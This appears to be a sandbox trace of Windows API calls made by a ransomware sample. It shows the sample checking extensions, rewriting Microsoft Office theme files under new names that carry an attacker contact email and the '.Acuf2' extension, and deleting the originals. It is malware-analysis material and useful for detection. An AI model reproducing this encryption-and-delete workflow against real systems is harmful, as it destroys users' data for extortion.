	[0257.211] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0257.211] lstrcmpiW (lpString1=".eftx", lpString2=".Acuf2") returned 1
	[0257.211] lstrlenW (lpString="Essential.eftx") returned 14
	[0257.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\essential.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0257.300] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=16350) returned 1
	[0257.300] CloseHandle (hObject=0x28c) returned 1
	[0257.300] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\essential.eftx")) returned 0x20
	[0257.561] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\essential.eftx.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0257.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\essential.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0257.609] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.609] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\essential.eftx.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x270
	[0257.609] GetLastError () returned 0x0
	[0257.609] ReadFile (in: hFile=0x218, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x3fde, lpOverlapped=0x0) returned 1
	[0257.628] WriteFile (in: hFile=0x270, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x3fe0, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x3fe0, lpOverlapped=0x0) returned 1
	[0257.629] ReadFile (in: hFile=0x218, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0257.629] WriteFile (in: hFile=0x270, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xf0, lpOverlapped=0x0) returned 1
	[0257.630] SetEndOfFile (hFile=0x270) returned 1
	[0257.630] CloseHandle (hObject=0x270) returned 1
	[0257.630] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.630] SetEndOfFile (hFile=0x218) returned 1
	[0257.632] CloseHandle (hObject=0x218) returned 1
	[0257.632] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0257.711] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\essential.eftx")) returned 1
	[0257.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81
	[0257.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81
	[0257.711] lstrlenW (lpString=".doc") returned 4
	[0257.711] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0257.711] lstrlenW (lpString=".docx") returned 5
	[0257.711] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0257.711] lstrlenW (lpString=".pdf") returned 4
	[0257.711] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0257.711] lstrlenW (lpString=".xls") returned 4
	[0257.711] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0257.711] lstrlenW (lpString=".xlsx") returned 5
	[0257.711] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0257.711] lstrlenW (lpString=".ppt") returned 4
	[0257.711] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0257.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81
	[0257.711] lstrlenW (lpString=".zip") returned 4
	[0257.711] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0257.711] lstrlenW (lpString=".rar") returned 4
	[0257.711] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0257.711] lstrlenW (lpString=".bz2") returned 4
	[0257.711] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0257.711] lstrlenW (lpString=".7z") returned 3
	[0257.711] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0257.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81
	[0257.712] lstrlenW (lpString=".dbf") returned 4
	[0257.712] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0257.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81
	[0257.712] lstrlenW (lpString=".1cd") returned 4
	[0257.712] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0257.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81
	[0257.712] lstrlenW (lpString=".jpg") returned 4
	[0257.712] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0257.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81
	[0257.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81
	[0257.712] lstrlenW (lpString=".doc") returned 4
	[0257.712] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0257.712] lstrlenW (lpString=".docx") returned 5
	[0257.712] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0257.712] lstrlenW (lpString=".pdf") returned 4
	[0257.712] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0257.712] lstrlenW (lpString=".xls") returned 4
	[0257.712] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0257.712] lstrlenW (lpString=".xlsx") returned 5
	[0257.712] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0257.712] lstrlenW (lpString=".ppt") returned 4
	[0257.712] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0257.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81
	[0257.713] lstrlenW (lpString=".zip") returned 4
	[0257.713] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0257.713] lstrlenW (lpString=".rar") returned 4
	[0257.713] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0257.713] lstrlenW (lpString=".bz2") returned 4
	[0257.713] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0257.713] lstrlenW (lpString=".7z") returned 3
	[0257.713] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0257.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81
	[0257.713] lstrlenW (lpString=".dbf") returned 4
	[0257.713] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0257.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81
	[0257.713] lstrlenW (lpString=".1cd") returned 4
	[0257.713] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0257.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81
	[0257.713] lstrlenW (lpString=".jpg") returned 4
	[0257.713] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0257.713] lstrcmpiW (lpString1=".eftx", lpString2=".Acuf2") returned 1
	[0257.713] lstrlenW (lpString="Module.eftx") returned 11
	[0257.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0258.044] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=43357) returned 1
	[0258.045] CloseHandle (hObject=0x28c) returned 1
	[0258.045] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx")) returned 0x20
	[0258.045] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0258.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0258.045] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.045] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x270
	[0258.045] GetLastError () returned 0x0
	[0258.046] ReadFile (in: hFile=0x28c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0xa95d, lpOverlapped=0x0) returned 1
	[0258.048] WriteFile (in: hFile=0x270, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xa960, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xa960, lpOverlapped=0x0) returned 1
	[0258.049] ReadFile (in: hFile=0x28c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0258.049] WriteFile (in: hFile=0x270, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0258.050] SetEndOfFile (hFile=0x270) returned 1
	[0258.050] CloseHandle (hObject=0x270) returned 1
	[0258.050] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.050] SetEndOfFile (hFile=0x28c) returned 1
	[0258.052] CloseHandle (hObject=0x28c) returned 1
	[0258.052] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0258.053] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx")) returned 1
	[0258.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78
	[0258.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78
	[0258.053] lstrlenW (lpString=".doc") returned 4
	[0258.053] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0258.053] lstrlenW (lpString=".docx") returned 5
	[0258.053] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0258.053] lstrlenW (lpString=".pdf") returned 4
	[0258.053] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0258.053] lstrlenW (lpString=".xls") returned 4
	[0258.053] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0258.053] lstrlenW (lpString=".xlsx") returned 5
	[0258.053] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0258.053] lstrlenW (lpString=".ppt") returned 4
	[0258.053] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0258.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78
	[0258.053] lstrlenW (lpString=".zip") returned 4
	[0258.053] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0258.053] lstrlenW (lpString=".rar") returned 4
	[0258.053] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0258.053] lstrlenW (lpString=".bz2") returned 4
	[0258.053] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0258.053] lstrlenW (lpString=".7z") returned 3
	[0258.053] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0258.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78
	[0258.053] lstrlenW (lpString=".dbf") returned 4
	[0258.053] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0258.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78
	[0258.054] lstrlenW (lpString=".1cd") returned 4
	[0258.054] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0258.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78
	[0258.054] lstrlenW (lpString=".jpg") returned 4
	[0258.054] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0258.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78
	[0258.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78
	[0258.054] lstrlenW (lpString=".doc") returned 4
	[0258.054] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0258.054] lstrlenW (lpString=".docx") returned 5
	[0258.054] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0258.054] lstrlenW (lpString=".pdf") returned 4
	[0258.054] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0258.054] lstrlenW (lpString=".xls") returned 4
	[0258.054] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0258.054] lstrlenW (lpString=".xlsx") returned 5
	[0258.054] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0258.054] lstrlenW (lpString=".ppt") returned 4
	[0258.054] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0258.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78
	[0258.054] lstrlenW (lpString=".zip") returned 4
	[0258.054] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0258.054] lstrlenW (lpString=".rar") returned 4
	[0258.054] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0258.054] lstrlenW (lpString=".bz2") returned 4
	[0258.054] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0258.054] lstrlenW (lpString=".7z") returned 3
	[0258.054] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0258.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78
	[0258.055] lstrlenW (lpString=".dbf") returned 4
	[0258.055] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0258.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78
	[0258.055] lstrlenW (lpString=".1cd") returned 4
	[0258.055] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0258.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78
	[0258.055] lstrlenW (lpString=".jpg") returned 4
	[0258.055] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0258.055] lstrcmpiW (lpString1=".eftx", lpString2=".Acuf2") returned 1
	[0258.055] lstrlenW (lpString="Pushpin.eftx") returned 12
	[0258.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0258.056] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=782121) returned 1
	[0258.056] CloseHandle (hObject=0x28c) returned 1
	[0258.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx")) returned 0x20
	[0258.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0258.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0258.056] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.056] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x270
	[0258.057] GetLastError () returned 0x0
	[0258.057] ReadFile (in: hFile=0x28c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0xbef29, lpOverlapped=0x0) returned 1
	[0258.074] WriteFile (in: hFile=0x270, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xbef30, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xbef30, lpOverlapped=0x0) returned 1
	[0258.138] ReadFile (in: hFile=0x28c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0258.138] WriteFile (in: hFile=0x270, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0258.138] SetEndOfFile (hFile=0x270) returned 1
	[0258.138] CloseHandle (hObject=0x270) returned 1
	[0258.138] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.138] SetEndOfFile (hFile=0x28c) returned 1
	[0258.156] CloseHandle (hObject=0x28c) returned 1
	[0258.156] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0258.244] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx")) returned 1
	[0258.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79
	[0258.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79
	[0258.268] lstrlenW (lpString=".doc") returned 4
	[0258.268] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0258.268] lstrlenW (lpString=".docx") returned 5
	[0258.268] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0258.268] lstrlenW (lpString=".pdf") returned 4
	[0258.268] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0258.268] lstrlenW (lpString=".xls") returned 4
	[0258.268] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0258.268] lstrlenW (lpString=".xlsx") returned 5
	[0258.268] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0258.268] lstrlenW (lpString=".ppt") returned 4
	[0258.268] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0258.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79
	[0258.269] lstrlenW (lpString=".zip") returned 4
	[0258.269] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0258.269] lstrlenW (lpString=".rar") returned 4
	[0258.269] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0258.269] lstrlenW (lpString=".bz2") returned 4
	[0258.269] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0258.269] lstrlenW (lpString=".7z") returned 3
	[0258.269] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0258.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79
	[0258.269] lstrlenW (lpString=".dbf") returned 4
	[0258.269] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0258.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79
	[0258.269] lstrlenW (lpString=".1cd") returned 4
	[0258.269] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0258.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79
	[0258.269] lstrlenW (lpString=".jpg") returned 4
	[0258.269] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0258.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79
	[0258.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79
	[0258.269] lstrlenW (lpString=".doc") returned 4
	[0258.269] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0258.269] lstrlenW (lpString=".docx") returned 5
	[0258.269] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0258.269] lstrlenW (lpString=".pdf") returned 4
	[0258.269] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0258.269] lstrlenW (lpString=".xls") returned 4
	[0258.269] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0258.269] lstrlenW (lpString=".xlsx") returned 5
	[0258.269] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0258.269] lstrlenW (lpString=".ppt") returned 4
	[0258.269] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0258.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79
	[0258.270] lstrlenW (lpString=".zip") returned 4
	[0258.270] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0258.270] lstrlenW (lpString=".rar") returned 4
	[0258.270] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0258.270] lstrlenW (lpString=".bz2") returned 4
	[0258.270] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0258.270] lstrlenW (lpString=".7z") returned 3
	[0258.270] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0258.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79
	[0258.270] lstrlenW (lpString=".dbf") returned 4
	[0258.270] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0258.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79
	[0258.270] lstrlenW (lpString=".1cd") returned 4
	[0258.270] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0258.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79
	[0258.270] lstrlenW (lpString=".jpg") returned 4
	[0258.270] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0258.270] lstrcmpiW (lpString1=".eftx", lpString2=".Acuf2") returned 1
	[0258.270] lstrlenW (lpString="Urban.eftx") returned 10
	[0258.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
